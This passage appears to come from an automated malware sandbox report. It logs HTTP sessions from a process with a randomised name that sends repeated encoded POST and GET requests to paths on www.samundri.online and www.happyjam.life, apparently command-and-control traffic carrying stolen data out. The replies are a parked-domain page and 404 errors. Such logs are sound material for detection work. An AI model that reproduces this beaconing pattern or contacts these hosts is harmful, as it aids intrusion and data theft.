Dec 6, 2024 17:36:46.400084019 CET	1236	IN	Data Raw: 70 2c 73 3c 28 43 3d 67 3c 3d 69 3f 31 3a 69 2b 32 36 3c 3d 67 3f 32 36 3a 67 2d 69 29 29 62 72 65 61 6b 3b 69 66 28 70 3e 4d 61 74 68 2e 66 6c 6f 6f 72 28 72 2f 28 6f 2d 43 29 29 29 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 70 75 6e Data Ascii: p,s<(C=g<=i?1:i+26<=g?26:g-i))break;if(p>Math.floor(r/(o-C)))throw RangeError("punycode_overflow(2)");p*=o-C}if(i=n(f-l,h=m.length+1,0===l),Math.floor(f/h)>r-a)throw RangeError("punycode_overflow(3)");a+=Math.floor(f/h),f%=h,t&&y.splice(f,0,e.
Dec 6, 2024 17:36:46.400095940 CET	424	IN	Data Raw: 2e 73 70 6c 69 74 28 22 2e 22 29 2c 65 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 72 2e 6c 65 6e 67 74 68 3b 2b 2b 6e 29 7b 76 61 72 20 74 3d 72 5b 6e 5d 3b 65 2e 70 75 73 68 28 74 2e 6d 61 74 63 68 28 2f 5b 5e 41 2d 5a 61 2d 7a 30 2d 39 2d 5d 2f 29 3f 22 78 Data Ascii: .split("."),e=[],n=0;n<r.length;++n){var t=r[n];e.push(t.match(/[^A-Za-z0-9-]/)?"xn--"+punycode.encode(t):t)}return e.join(".")},this.ToUnicode=function(o){for(var r=o.split("."),e=[],n=0;n<r.length;++n){var t=r[n];e.push(t.match(/^xn--/)?puny

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.12	49725	84.32.84.32	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:36:51.862488985 CET	787	OUT	POST /3ifu/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.samundri.online Origin: http://www.samundri.online Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 204 Referer: http://www.samundri.online/3ifu/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 6a 37 41 44 38 59 71 51 6c 51 4f 72 67 62 79 68 34 36 74 56 6b 33 6d 6f 77 65 72 32 63 34 39 76 43 4b 36 51 2f 5a 34 77 73 34 43 69 61 4b 56 48 56 33 39 36 32 39 64 74 65 49 6c 30 4a 76 50 47 58 54 46 70 51 78 78 42 56 36 37 75 62 50 70 48 62 4c 38 51 6c 69 6b 37 69 51 62 39 78 47 56 65 4e 75 45 31 70 79 38 77 70 6f 34 54 52 32 6b 4c 55 64 37 61 79 4d 4d 36 4d 34 4a 74 7a 4f 6f 72 59 4e 5a 41 45 61 58 6b 45 36 49 74 56 52 50 43 5a 6e 61 32 37 74 33 79 51 58 38 4a 74 45 70 68 37 38 75 70 41 32 46 7a 41 4c 31 78 51 36 37 54 39 70 53 49 2f 70 66 79 73 4b 5a 65 45 78 70 5a 67 77 3d 3d Data Ascii: BHptZ6F=j7AD8YqQlQOrgbyh46tVk3mower2c49vCK6Q/Z4ws4CiaKVHV39629dteIl0JvPGXTFpQxxBV67ubPpHbL8Qlik7iQb9xGVeNuE1py8wpo4TR2kLUd7ayMM6M4JtzOorYNZAEaXkE6ItVRPCZna27t3yQX8JtEph78upA2FzAL1xQ67T9pSI/pfysKZeExpZgw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.12	49726	84.32.84.32	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:36:54.524584055 CET	807	OUT	POST /3ifu/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.samundri.online Origin: http://www.samundri.online Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 224 Referer: http://www.samundri.online/3ifu/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 6a 37 41 44 38 59 71 51 6c 51 4f 72 6d 35 6d 68 2f 5a 56 56 7a 48 6d 72 2b 2b 72 32 4c 6f 39 72 43 4b 6d 51 2f 59 4e 33 76 4e 61 69 61 71 46 48 55 30 6c 36 31 39 64 74 47 34 6c 31 4e 76 50 33 58 54 5a 58 51 7a 6c 42 56 36 76 75 62 4b 4e 48 61 38 6f 58 6c 79 6b 6c 38 77 62 37 38 6d 56 65 4e 75 45 31 70 79 59 4b 70 6f 77 54 52 47 55 4c 55 38 37 64 30 38 4d 35 61 6f 4a 74 6b 65 6f 6e 59 4e 5a 75 45 62 62 61 45 34 77 74 56 52 2f 43 59 30 43 33 75 39 33 77 50 6e 39 4e 69 45 49 50 31 4e 43 35 42 47 4a 58 41 4a 70 37 56 38 32 4a 69 62 61 65 71 71 4c 2f 68 64 67 75 4a 79 55 51 37 34 69 6e 32 7a 41 74 49 6f 37 35 4b 36 42 44 49 63 70 6b 4e 59 41 3d Data Ascii: BHptZ6F=j7AD8YqQlQOrm5mh/ZVVzHmr++r2Lo9rCKmQ/YN3vNaiaqFHU0l619dtG4l1NvP3XTZXQzlBV6vubKNHa8oXlykl8wb78mVeNuE1pyYKpowTRGULU87d08M5aoJtkeonYNZuEbbaE4wtVR/CY0C3u93wPn9NiEIP1NC5BGJXAJp7V82JibaeqqL/hdguJyUQ74in2zAtIo75K6BDIcpkNYA=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.12	49728	84.32.84.32	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:36:57.195537090 CET	1820	OUT	POST /3ifu/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.samundri.online Origin: http://www.samundri.online Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1236 Referer: http://www.samundri.online/3ifu/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 6a 37 41 44 38 59 71 51 6c 51 4f 72 6d 35 6d 68 2f 5a 56 56 7a 48 6d 72 2b 2b 72 32 4c 6f 39 72 43 4b 6d 51 2f 59 4e 33 76 4f 36 69 61 59 39 48 56 56 6c 36 30 39 64 74 59 49 6c 77 4e 76 50 51 58 54 52 4c 51 7a 35 37 56 34 58 75 62 73 52 48 64 4f 51 58 75 79 6b 6c 6d 51 62 36 78 47 56 78 4e 75 55 78 70 79 6f 4b 70 6f 77 54 52 46 63 4c 54 74 37 64 76 38 4d 36 4d 34 4a 78 7a 4f 70 77 59 4e 42 59 45 62 65 68 45 4a 51 74 56 78 76 43 65 47 61 33 7a 4e 33 32 4d 6e 39 72 69 45 45 4d 31 4e 65 31 42 46 56 70 41 4c 70 37 58 4c 62 30 35 59 2b 58 7a 71 47 54 74 73 77 61 50 6a 70 55 39 70 75 66 36 69 55 34 47 64 62 33 52 62 6f 63 56 63 39 39 55 63 37 4e 71 4d 54 63 70 73 36 74 42 50 42 74 46 4f 37 59 5a 37 7a 6c 49 51 50 6c 72 73 65 53 36 59 53 38 43 45 6c 53 39 51 66 5a 30 74 74 76 6c 4e 54 32 50 65 49 37 73 50 67 45 47 49 77 37 4a 76 53 4b 63 2b 37 47 75 54 74 37 63 7a 56 7a 38 49 68 68 77 35 6e 61 2f 37 66 71 4b 41 6e 44 70 70 65 47 74 61 67 5a 72 69 74 54 57 62 33 61 55 57 72 6c 69 76 [TRUNCATED] Data Ascii: BHptZ6F=j7AD8YqQlQOrm5mh/ZVVzHmr++r2Lo9rCKmQ/YN3vO6iaY9HVVl609dtYIlwNvPQXTRLQz57V4XubsRHdOQXuyklmQb6xGVxNuUxpyoKpowTRFcLTt7dv8M6M4JxzOpwYNBYEbehEJQtVxvCeGa3zN32Mn9riEEM1Ne1BFVpALp7XLb05Y+XzqGTtswaPjpU9puf6iU4Gdb3RbocVc99Uc7NqMTcps6tBPBtFO7YZ7zlIQPlrseS6YS8CElS9QfZ0ttvlNT2PeI7sPgEGIw7JvSKc+7GuTt7czVz8Ihhw5na/7fqKAnDppeGtagZritTWb3aUWrlivJCmo0HORgbaZyFRq0Q1gGuXmYMLw9AdI5ydvKS9sk30ed20w7DO5GFksF19Rfz/ZTCWfHPQXoSfHHn2aH+Rfc9xD9giSXGumsNTKT9LiO8jVBT6T67lKfdAnawR0Ltknz0j91GmmqSlG39uVB2fTRG2rUUpupDjtT1Us+cTvkWVQMz90HNAX7MqESdakZ/XEhT4cNo669uP10+7FsJCk9WZXuE2mOS+O5t9JEQ0N6CBK6N2qorXd6x+m8uAZbAubg3gShzWiUtGMiOhDV6H2N3ZIcHwtbFjdWQIbatP8+aEFA7uWNgqsgOQmcZ32ypHN5DbtpW13A7uSOLfscoQsNtw8o+EbonzR/tD9bkmDId8IsfvFzVcHurD36ZgwMaxrS+hRDlK1ptJEivhHKt4l154v4ICmGSo7Bwys7WReizdpGX0qby+Bu38e4iUEMuFoUioAMFUOdkleS1XIC34ExuNllDFa/8y81sb1XXp3bYQd3PsV0+UHEpseP5+kCaPkIpK/ddGybMbrisPgyZXZCUwBxnlH/5zeKJg8yLnhEZdPbN0sa1DKz77AtIix5i7HEJCd9sW+Or40DEx9obnNEBFr0+qh3yvSTuGa2illRepB2TaAwEpLi6a0Y3Vd7GsWW7VojlzubHRDUnoVy0/7opBwN26+q0epmo [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.12	49734	84.32.84.32	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:36:59.864487886 CET	517	OUT	GET /3ifu/?BHptZ6F=u5oj/oWevlm54LOT1+Bryx675u+IDrtDZr257qJzt/2kXoBMan19x+0MdpxIfeL/WChZbD4JNYT/SNFPC81SuzkGtR7263FvFtQ21l4S/sR8VHVbXOTd4oM=&RZ=0nkpmZbx9Z4P2 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.samundri.online Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Dec 6, 2024 17:37:00.952725887 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 16:37:00 GMT Content-Type: text/html Content-Length: 9973 Connection: close Vary: Accept-Encoding Server: hcdn alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 47587e2683e53bfde7696e37b6211972-bos-edge1 Expires: Fri, 06 Dec 2024 16:36:59 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED] Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"O
Dec 6, 2024 17:37:00.952761889 CET	1236	IN	Data Raw: 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b 62 61 63 Data Ascii: pen Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600!
Dec 6, 2024 17:37:00.952775002 CET	1236	IN	Data Raw: 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 62 61 72 2d 6e 61 76 3e 6c 69 3e 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 63 Data Ascii: ;font-size:13px;padding-left:5px;padding-right:5px}.navbar-nav>li>a:hover{text-decoration:none;color:#cdc3ea!important}.navbar-nav>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-co
Dec 6, 2024 17:37:00.952843904 CET	1236	IN	Data Raw: 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 2d 69 6e 76 65 72 73 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 Data Ascii: :#fff!important}.navbar{border-radius:0!important}.navbar-inverse{background-color:#36344d;border:none}.column-custom-wrap{padding-top:10px 20px}.badge{font-size:12px;line-height:16px;min-height:20px;min-width:20px;vertical-align:middle;text-a
Dec 6, 2024 17:37:00.952863932 CET	896	IN	Data Raw: 3d 31 32 30 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 6c 61 70 73 65 20 6e 61 76 62 61 72 2d 63 6f 6c 6c 61 70 73 65 22 20 69 64 3d 6d 79 4e 61 76 62 61 72 3e 3c 75 6c 20 63 6c 61 73 73 3d 22 6e 61 76 20 6e 61 Data Ascii: =120></a></div><div class="collapse navbar-collapse" id=myNavbar><ul class="nav navbar-links navbar-nav navbar-right"><li><a href=https://www.hostinger.com/tutorials rel=nofollow><i aria-hidden=true class="fas fa-graduation-cap"></i> Tutorials
Dec 6, 2024 17:37:00.952883959 CET	1236	IN	Data Raw: 20 75 73 69 6e 67 20 48 6f 73 74 69 6e 67 65 72 20 6e 61 6d 65 73 65 72 76 65 72 73 2e 20 54 61 6b 65 20 74 68 65 20 72 65 63 6f 6d 6d 65 6e 64 65 64 20 73 74 65 70 73 20 62 65 6c 6f 77 20 74 6f 20 63 6f 6e 74 69 6e 75 65 20 79 6f 75 72 20 6a 6f Data Ascii: using Hostinger nameservers. Take the recommended steps below to continue your journey with Hostinger.</p></div><img src=domain-default-img.svg></div><div class=col-xs-12><div class=section-title>What's next?</div></div><div class="clearfix c
Dec 6, 2024 17:37:00.952896118 CET	1236	IN	Data Raw: 65 6d 65 6e 74 20 70 61 67 65 20 6f 66 20 79 6f 75 72 20 48 6f 73 74 69 6e 67 65 72 20 61 63 63 6f 75 6e 74 2e 3c 2f 70 3e 3c 62 72 3e 3c 61 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 68 6f 73 74 69 6e 67 65 72 2e 63 6f 6d Data Ascii: ement page of your Hostinger account.</p><br><a href=https://support.hostinger.com/en/articles/1696789-how-to-change-nameservers-at-hostinger rel=nofollow>Change nameservers</a></div></div></div></div></div><script>var punycode=new function(){
Dec 6, 2024 17:37:00.952981949 CET	1236	IN	Data Raw: 6e 67 65 45 72 72 6f 72 28 22 49 6c 6c 65 67 61 6c 20 69 6e 70 75 74 20 3e 3d 20 30 78 38 30 22 29 3b 6d 2e 70 75 73 68 28 65 2e 63 68 61 72 43 6f 64 65 41 74 28 75 29 29 7d 66 6f 72 28 64 3d 30 3c 63 3f 63 2b 31 3a 30 3b 64 3c 45 3b 29 7b 66 6f Data Ascii: ngeError("Illegal input >= 0x80");m.push(e.charCodeAt(u))}for(d=0<c?c+1:0;d<E;){for(l=f,p=1,g=o;;g+=o){if(E<=d)throw RangeError("punycode_bad_input(1)");if(v=e.charCodeAt(d++),o<=(s=v-48<10?v-22:v-65<26?v-65:v-97<26?v-97:o))throw RangeError("p
Dec 6, 2024 17:37:00.952994108 CET	764	IN	Data Raw: 68 3d 6c 2c 64 3d 30 3b 64 3c 76 3b 2b 2b 64 29 7b 69 66 28 28 43 3d 74 5b 64 5d 29 3c 68 26 26 2b 2b 66 3e 72 29 72 65 74 75 72 6e 20 45 72 72 6f 72 28 22 70 75 6e 79 63 6f 64 65 5f 6f 76 65 72 66 6c 6f 77 28 32 29 22 29 3b 69 66 28 43 3d 3d 68 Data Ascii: h=l,d=0;d<v;++d){if((C=t[d])<h&&++f>r)return Error("punycode_overflow(2)");if(C==h){for(p=f,g=o;!(p<(s=g<=u?1:u+26<=g?26:g-u));g+=o)y.push(String.fromCharCode(e(s+(p-s)%(o-s),0))),p=Math.floor((p-s)/(o-s));y.push(String.fromCharCode(e(p,a&&w[d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.12	49750	209.74.77.107	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:37:06.896686077 CET	781	OUT	POST /4ii9/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.happyjam.life Origin: http://www.happyjam.life Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 204 Referer: http://www.happyjam.life/4ii9/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 4f 41 69 66 59 57 2b 6c 50 64 46 64 6f 41 6c 67 71 4c 6e 78 35 74 65 4b 58 62 4e 49 65 53 4a 71 6a 35 6c 46 7a 57 50 35 4e 53 65 56 65 76 45 59 4d 67 43 58 4c 6a 33 34 51 42 37 37 42 2f 58 7a 46 79 62 51 49 30 43 2b 62 48 57 39 67 65 78 47 74 66 4e 30 67 6e 51 48 77 68 48 6a 57 75 78 73 6f 38 63 65 53 6c 31 47 46 39 41 42 4c 52 7a 31 2b 64 7a 55 73 47 38 45 32 57 64 44 44 56 46 43 30 34 68 45 49 62 58 46 42 55 4f 41 34 48 4e 74 39 4c 38 61 5a 35 7a 72 6e 68 46 4c 64 49 62 4b 74 55 71 37 62 63 33 49 4b 66 68 79 43 79 46 6e 48 57 61 45 77 6b 6f 44 72 51 30 77 34 4d 65 78 4e 67 3d 3d Data Ascii: BHptZ6F=OAifYW+lPdFdoAlgqLnx5teKXbNIeSJqj5lFzWP5NSeVevEYMgCXLj34QB77B/XzFybQI0C+bHW9gexGtfN0gnQHwhHjWuxso8ceSl1GF9ABLRz1+dzUsG8E2WdDDVFC04hEIbXFBUOA4HNt9L8aZ5zrnhFLdIbKtUq7bc3IKfhyCyFnHWaEwkoDrQ0w4MexNg==
Dec 6, 2024 17:37:08.102135897 CET	533	IN	HTTP/1.1 404 Not Found Date: Fri, 06 Dec 2024 16:37:07 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.12	49756	209.74.77.107	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:37:09.570456982 CET	801	OUT	POST /4ii9/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.happyjam.life Origin: http://www.happyjam.life Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 224 Referer: http://www.happyjam.life/4ii9/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Data Raw: 42 48 70 74 5a 36 46 3d 4f 41 69 66 59 57 2b 6c 50 64 46 64 71 68 56 67 6f 73 4c 78 6f 64 65 4a 62 37 4e 49 58 79 49 74 6a 35 70 46 7a 58 4b 68 4d 67 4b 56 66 4e 63 59 65 55 75 58 65 6a 33 34 59 68 37 2b 63 76 57 65 46 79 58 59 49 32 47 2b 62 48 53 39 67 63 70 47 71 6f 5a 33 6a 58 51 46 2f 42 48 68 5a 4f 78 73 6f 38 63 65 53 6c 68 73 46 39 59 42 4c 68 6a 31 2b 2f 4c 58 76 47 38 4c 2f 32 64 44 55 46 46 65 30 34 68 69 49 61 61 53 42 58 32 41 34 43 78 74 38 61 38 5a 58 4a 79 67 70 42 46 41 57 36 44 47 31 6c 65 6e 59 2b 6a 64 55 61 46 33 44 30 49 39 59 6b 53 53 6c 6e 38 4f 6d 48 4e 41 31 50 6a 34 57 6b 77 32 69 35 63 34 79 35 54 52 43 2b 31 45 55 68 6c 68 63 4c 49 3d Data Ascii: BHptZ6F=OAifYW+lPdFdqhVgosLxodeJb7NIXyItj5pFzXKhMgKVfNcYeUuXej34Yh7+cvWeFyXYI2G+bHS9gcpGqoZ3jXQF/BHhZOxso8ceSlhsF9YBLhj1+/LXvG8L/2dDUFFe04hiIaaSBX2A4Cxt8a8ZXJygpBFAW6DG1lenY+jdUaF3D0I9YkSSln8OmHNA1Pj4Wkw2i5c4y5TRC+1EUhlhcLI=
Dec 6, 2024 17:37:10.795449018 CET	533	IN	HTTP/1.1 404 Not Found Date: Fri, 06 Dec 2024 16:37:10 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.12	49767	209.74.77.107	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

